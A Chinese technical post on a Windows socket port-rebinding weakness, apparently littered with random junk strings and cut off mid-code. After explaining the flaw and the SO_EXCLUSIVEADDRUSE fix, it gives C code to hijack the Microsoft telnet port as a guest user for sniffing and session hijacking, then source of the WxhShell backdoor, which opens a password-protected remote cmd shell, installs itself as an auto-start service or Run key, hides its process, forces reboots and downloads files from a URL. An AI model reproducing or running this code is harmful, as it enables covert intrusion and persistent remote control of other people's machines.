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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ewr2popK s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W[DoQ @q 1aS:bFi` saddr.sin_family = AF_INET; nlhv WO9vOS> saddr.sin_addr.s_addr = htonl(INADDR_ANY); @OT$* Qh >Tl/3{V bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "]G'^ :Ob^b3<t 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =>c0NT GqsV6kH 这意味着什么?意味着可以进行如下的攻击: Z7pX%nj_ 5EQ)pH+ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 CQ. C{ e8dZR3JL 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^&86VBP v\8v' EDP 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^.)0O3oC tlD^"eq4: 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 5<`83;R9 klAlS% 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Hs8JJGXWB bcwb'D\a 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8(Ptse
, >gL&a#<S 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ./3/3&6 (?'vT% #include (_FeX22+ #include {ixKc #include 6(7{|iY
#include Q%q;=a DWORD WINAPI ClientThread(LPVOID lpParam); hG~.Sc:G int main() (-0d@eqw { :}fA98S WORD wVersionRequested; (D?4*9= DWORD ret; VByA6^JR WSADATA wsaData; ;Dp*.YJ BOOL val; TAOsg0 SOCKADDR_IN saddr; ;PG=
3j_ SOCKADDR_IN scaddr; vv2[t int err; }jC^&%| SOCKET s; E A55! SOCKET sc; !mqIq}h int caddsize; X=f %! HANDLE mt; XY6Sm{ DWORD tid; vs+aUT C\ wVersionRequested = MAKEWORD( 2, 2 ); ^CQp5k p] err = WSAStartup( wVersionRequested, &wsaData ); `5oXf if ( err != 0 ) { 2i#Ekon printf("error!WSAStartup failed!\n"); 4zhh**]B return -1; 2 f%+1uU } C:sgT6 saddr.sin_family = AF_INET; ;AVIt!(L~V LU8[$.P //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 tMP"9JE, Oh10X.)i saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -&1P2m/46 saddr.sin_port = htons(23); r7V !M1 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bM?29cs { GSSmlJ` printf("error!socket failed!\n"); 8EJP~bt return -1; |%|Vlu } L1G)/Vkw val = TRUE; ADOA&r[ //SO_REUSEADDR选项就是可以实现端口重绑定的 F?FfRzZ[ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) EQpF:@_ { AFBWiuwI3 printf("error!setsockopt failed!\n"); fD\Fq'29{ return -1; Crj7n/mp]s } ]gnEo.R //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |Bi7:w //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 h$9ut@I //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .]4MtG m}D;=>2$ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Q;z!]hjBM { {0a\<l ret=GetLastError(); Vh=U/{Rp1 printf("error!bind failed!\n"); 4,R"(ej return -1; *CQZ6&^ } "WtYqXyd listen(s,2); ^jRX6 while(1) j$s/YI: { j$lf>.[I caddsize = sizeof(scaddr); noz1W ] //接受连接请求 Yd~J( sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #ucb if(sc!=INVALID_SOCKET) jy>?+hm? { 8b-mW>xsA mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _4nm h0q4 if(mt==NULL) $'eY-U8q { =6 zK1Z printf("Thread Creat Failed!\n"); FVL{KNW~i break; E8nj_^Z } .I#_~C'\ } iWA?FBv CloseHandle(mt); B1U!*yzG6 } GNrRc3dr$ closesocket(s); l.
cp[ WSACleanup(); cvT@`1 return 0; 4e|N^h*! } {SXSQ '= DWORD WINAPI ClientThread(LPVOID lpParam) ^\`a-l^ { ,G="wI SOCKET ss = (SOCKET)lpParam; [.Fq
l+ SOCKET sc; [7r^fD
A unsigned char buf[4096]; tq'ri-c&b SOCKADDR_IN saddr; 2cIbX long num; k #\j \t- DWORD val; [S~Bt78d%r DWORD ret; #+U1QOsz //如果是隐藏端口应用的话,可以在此处加一些判断 `s
UY$Q //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 }><[6Uz% saddr.sin_family = AF_INET; IqepR
>5t saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); PXtF#,roP saddr.sin_port = htons(23); UA~ 4O Q] if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aMHC+R1X { eYlI }; printf("error!socket failed!\n"); +zLw%WD[l return -1; lEHXh2 } T"X]@9g^- val = 100; KDP4 7A if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q}<QE:-&E { yVGf[~X ret = GetLastError(); @Y.r ,q return -1; a8Xwz@ M } 1(>2tEjYT if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -Edy ~;_ { Dic|n@_Fy ret = GetLastError(); p"jze3mF return -1; i_r708ep6 } o37oR v] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Pn.DeoHme { {=Jo!t;f printf("error!socket connect failed!\n"); coPdyw'9& closesocket(sc); Ck%if closesocket(ss); Q_iN/F return -1; -}!mi V } OX]P;#4tU while(1) BaIuOZ@, { s]kzXzRC? //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 cjg~?R //如果是嗅探内容的话,可以再此处进行内容分析和记录 P,-5af*; //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8>x'. 8 num = recv(ss,buf,4096,0); =0PGE#d{t if(num>0)
w >2G@ send(sc,buf,num,0); srO>l ;Vf/ else if(num==0) NR8`nc1~ break; m||9,z- num = recv(sc,buf,4096,0); %+|sbRBb if(num>0) -oUNK}> send(ss,buf,num,0); 9xzow,mi else if(num==0) ;]>)6 break; ]W2#8:i } ,tyPZR_ closesocket(ss); @^-Y&N!b= closesocket(sc); #s\kF * return 0 ; SRk!HuXh } @0t[7Nv-1 $)9|"q6 Qyx~={.C~ ========================================================== @b^$h:H lic-68T 下边附上一个代码,,WXhSHELL HOPy&Fp Nz`v+sp ========================================================== r[;d.3jtP #<eD #include "stdafx.h" ceCO *m~ n@;B_Bt7 #include <stdio.h> zG 9D
Ph #include <string.h> ~UO}PI`C #include <windows.h> :@-yK8q's #include <winsock2.h> :p]e4|R #include <winsvc.h> uG6.(A1LM #include <urlmon.h> +5Dc5Bl |_8l9rB5ip #pragma comment (lib, "Ws2_32.lib") GQA\JYw|oY #pragma comment (lib, "urlmon.lib") rrj.]^E_~ ##xvuLy-6 #define MAX_USER 100 // 最大客户端连接数 3Os0<1@H #define BUF_SOCK 200 // sock buffer W #define KEY_BUFF 255 // 输入 buffer (6a<{ &$_!S!Sa/ #define REBOOT 0 // 重启 +By '6?22 #define SHUTDOWN 1 // 关机 dlCYdwP wik<#ke #define DEF_PORT 5000 // 监听端口 dc1Zh
W4 8uH8) #define REG_LEN 16 // 注册表键长度 BQg3+w:> #define SVC_LEN 80 // NT服务名长度 &V(6N%A^U `Z5dRLrd // 从dll定义API 9609 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =*lBJ-L typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CyYr5 Dz typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $HQ4 o\~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S!z3$@o 2=8PA/ // wxhshell配置信息 Q25VG5G struct WSCFG { 9Scg:}Nj int ws_port; // 监听端口 dz+Dk6"R char ws_passstr[REG_LEN]; // 口令 (g X8iKl int ws_autoins; // 安装标记, 1=yes 0=no T7.SjR6X> char ws_regname[REG_LEN]; // 注册表键名 ug ;Xoh5w char ws_svcname[REG_LEN]; // 服务名 "P(obk char ws_svcdisp[SVC_LEN]; // 服务显示名 $rr@3H+
char ws_svcdesc[SVC_LEN]; // 服务描述信息 v)_FiY QQ6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QdQ1+*/+U int ws_downexe; // 下载执行标记, 1=yes 0=no Y.Z:H!P);$ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" K@cWg C char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U887@-!3 3Xd:LDZ{ }; 3Z*o5@RI AL3iNkEa // default Wxhshell configuration t ;h`nH[ struct WSCFG wscfg={DEF_PORT, z5M6 "xuhuanlingzhe", {en'8kS 1, h
ka_Fo "Wxhshell", a <?~1pWtc "Wxhshell", ! {G0' "WxhShell Service", `m<O!I"A "Wrsky Windows CmdShell Service", 3Zd,"/RH "Please Input Your Password: ", `kQosQV 1, 457{9k " http://www.wrsky.com/wxhshell.exe", J-dB "Wxhshell.exe" (,QWK08 }; !\BZ_guz ]2)A/fOW // 消息定义模块 1@KiP`DA char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zEW+1-=)+7 char *msg_ws_prompt="\n\r? for help\n\r#>"; F/>\uzu char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 'gs P9 char *msg_ws_ext="\n\rExit."; SKnYeT char *msg_ws_end="\n\rQuit."; Q35\wQ# char *msg_ws_boot="\n\rReboot..."; p2t04p! char *msg_ws_poff="\n\rShutdown..."; H2Wlgt char *msg_ws_down="\n\rSave to "; 8^j~uH z_ycH%p char *msg_ws_err="\n\rErr!"; 0: hv6Ge^ char *msg_ws_ok="\n\rOK!"; M;ADL| eU%49 A char ExeFile[MAX_PATH]; _Wg}#r int nUser = 0; 4^2>KC_ HANDLE handles[MAX_USER]; OmBz'sp: int OsIsNt;
-NN=(p!< *{fs{gFw9 SERVICE_STATUS serviceStatus; b6f OHy SERVICE_STATUS_HANDLE hServiceStatusHandle; |w{Qwf!2 MAFdJ+n# // 函数声明 ~KMah int Install(void); E;C{i int Uninstall(void); '0q$qN int DownloadFile(char *sURL, SOCKET wsh); *qO)MpG{ int Boot(int flag); Nv36#^Z void HideProc(void);
iD_y@+iz int GetOsVer(void); KU` *LB: int Wxhshell(SOCKET wsl); T&]-p:mg^ void TalkWithClient(void *cs); lNg){3 int CmdShell(SOCKET sock); 6 V0Ayxg7 int StartFromService(void); A2M(
ad int StartWxhshell(LPSTR lpCmdLine); C){Q;`M-< Sf*v#? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H2R3I<j VOID WINAPI NTServiceHandler( DWORD fdwControl ); \'j(@b, S5TVfV5LI // 数据结构和表定义 Z@+nkTJ9&t SERVICE_TABLE_ENTRY DispatchTable[] = /v5A)A$7 { EyPJ Jc8 {wscfg.ws_svcname, NTServiceMain}, V2T%tn;rp {NULL, NULL} JXU?'@QY }; Vl5>o$G|<. 70 R6: // 自我安装 PJN9[Y{^3 int Install(void) B1nm?E 0i { C&w0HoF char svExeFile[MAX_PATH]; o6O-\d7^M HKEY key; k"i3$^v8 strcpy(svExeFile,ExeFile); BM /FOY; 8Zsaq1S // 如果是win9x系统,修改注册表设为自启动 [//i "Nm if(!OsIsNt) { VrZfjpV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^*.$@M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ju47} t%HB RegCloseKey(key); VM\R-[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {ac$4#Bp[B RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P5_Ajb(@' RegCloseKey(key);
{ %X2K return 0; +M
I{B="7. } 4DCh+|r } _<.VP } AtCT else { }UW*[dCf>C /)_4QSz7 // 如果是NT以上系统,安装为系统服务 '1b 1N5~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jC>ZMy8U)4 if (schSCManager!=0) L4/ns@e { n~yKq"^ SC_HANDLE schService = CreateService $"/l*H\h ( >EJ{ * schSCManager, KUZi3\p9W> wscfg.ws_svcname, :Pdh##k wscfg.ws_svcdisp, I8J>>H'#A SERVICE_ALL_ACCESS, 2w7$"N SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3O$l;|SX SERVICE_AUTO_START, `Uz.9_6 SERVICE_ERROR_NORMAL, Y`ip.Nx svExeFile, Bzwll NULL, /C!~v!;e NULL, f~mwDkf?L NULL, 6P
_+:Mf NULL, :P_h_Tizv NULL LvG$J* ); % E1r{`p if (schService!=0) UDi(7c0. { ]w6F%d CloseServiceHandle(schService); PkDt-]G. CloseServiceHandle(schSCManager); 'W_NRt: strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nb/q!8 strcat(svExeFile,wscfg.ws_svcname); %;QK5L if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Hl8-q! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '/HShS!d RegCloseKey(key); L1RD`qXu. return 0; ct-Bq } YM_ [ } Q;3`T7 CloseServiceHandle(schSCManager); fW2NYQP$: } x!GDS> } !I?C8) Q"FN"uQ}x return 1; ivo><"Y(r } IwnDG;+Ap S,:!H@~B // 自我卸载 1w7tRw int Uninstall(void) }kmAUaa,Z { 9y6u&!PZ\ HKEY key; ]j7`3%4uK qLLrR,: if(!OsIsNt) { <Y"RsW9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AJi+JO- RegDeleteValue(key,wscfg.ws_regname); wGLMLbj5 RegCloseKey(key); b_ZvI\H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a.%ps: RegDeleteValue(key,wscfg.ws_regname);
6NV592 RegCloseKey(key); s 7 nl return 0; G]aey>) } ~Re4zU } Ql5bjlQdO } o
i'iZX else { 1r>]XhRFZ ~fkcal1@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }cMkh if (schSCManager!=0) h<&GdK2U+ { .c]>*/(+ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )Q`Ycz- if (schService!=0) =a,qRO { N:U}b1$L6 if(DeleteService(schService)!=0) { s&nat4{B CloseServiceHandle(schService);
yGtTD9j CloseServiceHandle(schSCManager); FA-cTF[,( return 0; K]$PRg1|3 } ^O7sQ7V"f= CloseServiceHandle(schService); JR`$t~0t } Q9OCf"n $ CloseServiceHandle(schSCManager); ir.RO7f } cL#-vW<s3 } *RS/`a;, Fya*[)HBo return 1; }'wZ)N@ } $Be hU c9 EtUv~ // 从指定url下载文件 -b!Z(}JK int DownloadFile(char *sURL, SOCKET wsh) ^)]U5+g? { F,S)P`? HRESULT hr; /A0_#g:2*# char seps[]= "/"; `G!HGzVx;j char *token; 4$VDJ char *file; 5OWyxO3{ char myURL[MAX_PATH]; &'^.>TJ\ char myFILE[MAX_PATH]; k#pO+[ x Mu/(Xp6 2 strcpy(myURL,sURL); L3\#ufytb token=strtok(myURL,seps); ZbT$f^o}M] while(token!=NULL) <Mvniz { k^ZP~.G file=token; W6>t!1oO+ token=strtok(NULL,seps); .:&`PaMt } ep"{{S5g tcoG;ir GetCurrentDirectory(MAX_PATH,myFILE); A^).i_ strcat(myFILE, "\\"); '8)kFR^9 strcat(myFILE, file); \}h send(wsh,myFILE,strlen(myFILE),0); L<=Dl send(wsh,"...",3,0); A3tv'-e9 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cy@Ri# if(hr==S_OK) -B-G$ii return 0;
k a!w\v else }y*D(` return 1; R4 eu,,J U:8]G } z0LspRaz vW eg1 // 系统电源模块 "[7-1} l int Boot(int flag) mmJnE { %2dzx[s HANDLE hToken; u3qxG3 TOKEN_PRIVILEGES tkp; `,SL\\%u ,*W~M&n"m if(OsIsNt) { ,&@GxiU OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?l%4
P5 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |Io:D: tkp.PrivilegeCount = 1; U)f('zD tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bu6Sp3g AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A{;"e^a-^l if(flag==REBOOT) { z<9C- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *;}xg{@ return 0; 8>WA5:]v } 5QK%BiDlr else { J/P[9m30[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "|I.j) return 0; $=diG } "9'3mmZm=? } N{bg-%s10i else { KE"6I if(flag==REBOOT) { 8<}=f4vUj5 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AJ6l#j- return 0; Kw"e4 a } rzHBop-8 else { rK'Lvt@w if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b||usv[or return 0; o@gceZuk } #pPOQv:~ } .*YF{!R`h )B
$Q return 1; %ZD]qaU0 } P\K#q%8 DgcS@N // win9x进程隐藏模块 'V^M+ng void HideProc(void) tf 7HhOCYX { Gn4b*Y&M]3 ?=4oxPe HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =YVxQj if ( hKernel != NULL ) !HU$V9C { YK{J"Kof pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '8zd]U ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7+f6? FreeLibrary(hKernel); [err$ } x&DqTX?b, 6bUP]^d return; >)C7IQ/ } PcA^ jBgGl EpG9t9S9 // 获取操作系统版本 [- 92] int GetOsVer(void) ` Ny(S2 { # *pB"L OSVERSIONINFO winfo; 'kj
q C winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nG3SDL#(k GetVersionEx(&winfo); ;/kd.Q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B|a <=~ return 1; Dks n else Drtg7v{@\ return 0; OKm,iIp] } G{6@]72 )jl@hnA // 客户端句柄模块 : 8>zo int Wxhshell(SOCKET wsl) I2HV{1(i { |~%RSS~b* SOCKET wsh; E8Kk)7 struct sockaddr_in client;
y
_ap T<P DWORD myID; e eN`T&cI j?*n@' while(nUser<MAX_USER) kM4z
% { e@VJ-s int nSize=sizeof(client); |DW^bv wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O,),0zcYF if(wsh==INVALID_SOCKET) return 1;
MOB4t| ]\K?%z handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l=9D!64 if(handles[nUser]==0) tH;9"z#
~ closesocket(wsh); <2@t~9 else (BtU\f#d nUser++;
Txo{6nd/ } Eh;Ia6} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $:5h5Y#z zUJXA:L9 return 0; p*jU)@a0 } :_i1gY) 5P #._Em // 关闭 socket T_2'=7 void CloseIt(SOCKET wsh) 3(J>aQZuI { uY)4y0 closesocket(wsh); 7Fpa%N/WL nUser--; EwG+' nlE ExitThread(0); )MI w/ } HLz<C ha|2u(4 // 客户端请求句柄 X~m57bj void TalkWithClient(void *cs) vM5I2C3_>! { p&Nav,9x +&"W:Le: SOCKET wsh=(SOCKET)cs; &u|t{C#0 char pwd[SVC_LEN]; j,].88H char cmd[KEY_BUFF]; %LC)sSq{H char chr[1]; 4N=,9 int i,j; wT+60X' hb~d4J=S while (nUser < MAX_USER) { =CFg~8W *g}==o` if(wscfg.ws_passstr) { Z\C"/j<y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a9lYX*: //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ke@Bf
//ZeroMemory(pwd,KEY_BUFF); ]b}3f< i=0; < q(i(% while(i<SVC_LEN) { =3hJti9[ M.5F|7 // 设置超时 sCy.i/y fd_set FdRead; YRZw|H{>t struct timeval TimeOut; F !v01]O FD_ZERO(&FdRead); 4`v[p4k FD_SET(wsh,&FdRead); R-n%3oh TimeOut.tv_sec=8; !^L}LtqHI TimeOut.tv_usec=0; :,H_
e!
X int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5C*Zb3VG4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q{*[uJ}Xc" <F_w4! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r{yIF~k@ pwd =chr[0]; "o;%em*Bc if(chr[0]==0xd || chr[0]==0xa) { ,agkV)H pwd=0; Jt8M;Yk break; P
>0S ZP } uq:'`o-1 i++; uJ=&++[ }
ArX*3 jc6~V$3 // 如果是非法用户,关闭 socket nC/T$
#G if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \K9Y@jnr } coaJDg+ '%Oo1:wJ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $?: -A send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RToX[R;1E &C,]c#-+ while(1) { H!y@.W{_ @AG=Eq9<o ZeroMemory(cmd,KEY_BUFF); yF` (GU BI#(L={5 // 自动支持客户端 telnet标准 ?b^<Tny j=0;
2 (ux while(j<KEY_BUFF) { VasQ/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cv_O2Q4,@ cmd[j]=chr[0]; cP/( h if(chr[0]==0xa || chr[0]==0xd) { ZMyd+C_P2 cmd[j]=0; c:z}$DK&' break; QQHC
1 } 6*ZZ)W< j++; 3joMtRB>; } Grd9yLF `n|k+tsC // 下载文件 IfRrl/!nw if(strstr(cmd,"http://")) { %ULd_ES^ send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?K}KSJ6_ if(DownloadFile(cmd,wsh)) JLyFkV/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 84Hm
PPt else WFeaX7\b send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5U<o%+^El } A]V<K[9:b else { mW_A3S5 Q%GLT,f1. switch(cmd[0]) { ^eYJ7&t C$c.(5/O // 帮助 5o(=?dXm4 case '?': { p|*b] 36 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @qJv break; hU2N{Ac } tK <)A) // 安装 @D<Q'7mLh case 'i': { ~b4fk^u`+ if(Install()) }>j1j^c1=' send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?~Vev D else T5U(B3j_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H
@E-=Ly break; }% |GV } {24Pv#ZG#^ // 卸载 'Uo:b< case 'r': { P#Ikj&l if(Uninstall()) i%B$p0U< send(wsh,msg_ws_err,strlen(msg_ws_err),0); tQ?}x#J else e''Wm.>g(+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' :]w break; w@f_TG"Vt } q%^gG03. // 显示 wxhshell 所在路径 }W%}_UT case 'p': { U(qM( E char svExeFile[MAX_PATH]; ==j39 strcpy(svExeFile,"\n\r");
UuA=qWC strcat(svExeFile,ExeFile); f.r-,%^6{ send(wsh,svExeFile,strlen(svExeFile),0); Y!s/uvRI break; V'?nS&,i } WqU$cQD" // 重启 5O%}.}n case 'b': { 2Z..~1r send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z=sAR(n}~ if(Boot(REBOOT)) EA>$t\z send(wsh,msg_ws_err,strlen(msg_ws_err),0); AB#hhi# else { 3vs2}IV' closesocket(wsh); K<_H`k*x ExitThread(0); <$9AP } X!_OOfueP8 break; Kd,m;S\ }
n#]G!7 // 关机 -)<Nd:A case 'd': { !8s:3] send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); khu,P[3> if(Boot(SHUTDOWN)) CGg6n CB send(wsh,msg_ws_err,strlen(msg_ws_err),0); D{z=)'/F else { gf@'d.W} closesocket(wsh); aA
yFu_ ExitThread(0); ->#7_W } @o^sp|k ! break; Vgm{=$ } B'0Il"g' // 获取shell Y2D)$ case 's': { -s!PO;qm CmdShell(wsh); $fvUb_n closesocket(wsh); cE]kI,Fw,M ExitThread(0); YGn:_9 break; 6ensNr~ea } `") I[h // 退出 6<~y!\4;F case 'x': { 3 \WdA$Wx send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >)
:d38M CloseIt(wsh); bo"I:)n; break; 1!NaOfP;@ } dX3>j{_ // 离开 %E!0,y,: case 'q': { fu&]t8MJC send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5Np. & closesocket(wsh); XZT( :( WSACleanup(); Wl2>U(lj exit(1); =gqZ^v&5U break; ?3, * } ffhD+-gTU } nz&JG~Qfm } J/*[wj V7v,)a" L // 提示信息 ]-`{kX if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z'I0UB# } ?{dno= } +]_} \ Zj0&/S return; dk ?0r } ,J#5Y. x[kdQj2[& // shell模块句柄 zC^Ib&gm>, int CmdShell(SOCKET sock) g/yXPzLU { / L8=8 STARTUPINFO si; D.GSl ZeroMemory(&si,sizeof(si)); u!S{[7 FY si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A|+{x4s` si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8YJ({ Ou_ PROCESS_INFORMATION ProcessInfo; _[7uLWyC9 char cmdline[]="cmd"; zBR]bk\ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +$'/!vN return 0; BW;u?1Xa } _B[(/wY 7> Qt O // 自身启动模式 32Z4&~I int StartFromService(void) dA~6{*) { U#P#YpD;== typedef struct y%y#Pb| { q.t5L=l^
r DWORD ExitStatus; G#*;3X$ DWORD PebBaseAddress; 6bn-NY:i DWORD AffinityMask; b +_E)4 DWORD BasePriority; v]!7=>/2 ULONG UniqueProcessId; J5"*OH:f ULONG InheritedFromUniqueProcessId; *$1)&2i } PROCESS_BASIC_INFORMATION; 5%$#3LT| 3WYW]) PROCNTQSIP NtQueryInformationProcess; m}E$6E^~O >4E,_ `3N static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z,EOyi static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !]nCeo cG'Wh@ HANDLE hProcess; Ww~0k!8,t PROCESS_BASIC_INFORMATION pbi; l9h;dI{6 +1%6-g4" HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7$;$4.' if(NULL == hInst ) return 0; G!IQ<FuY U8mu<) g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pf_ /jR g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, 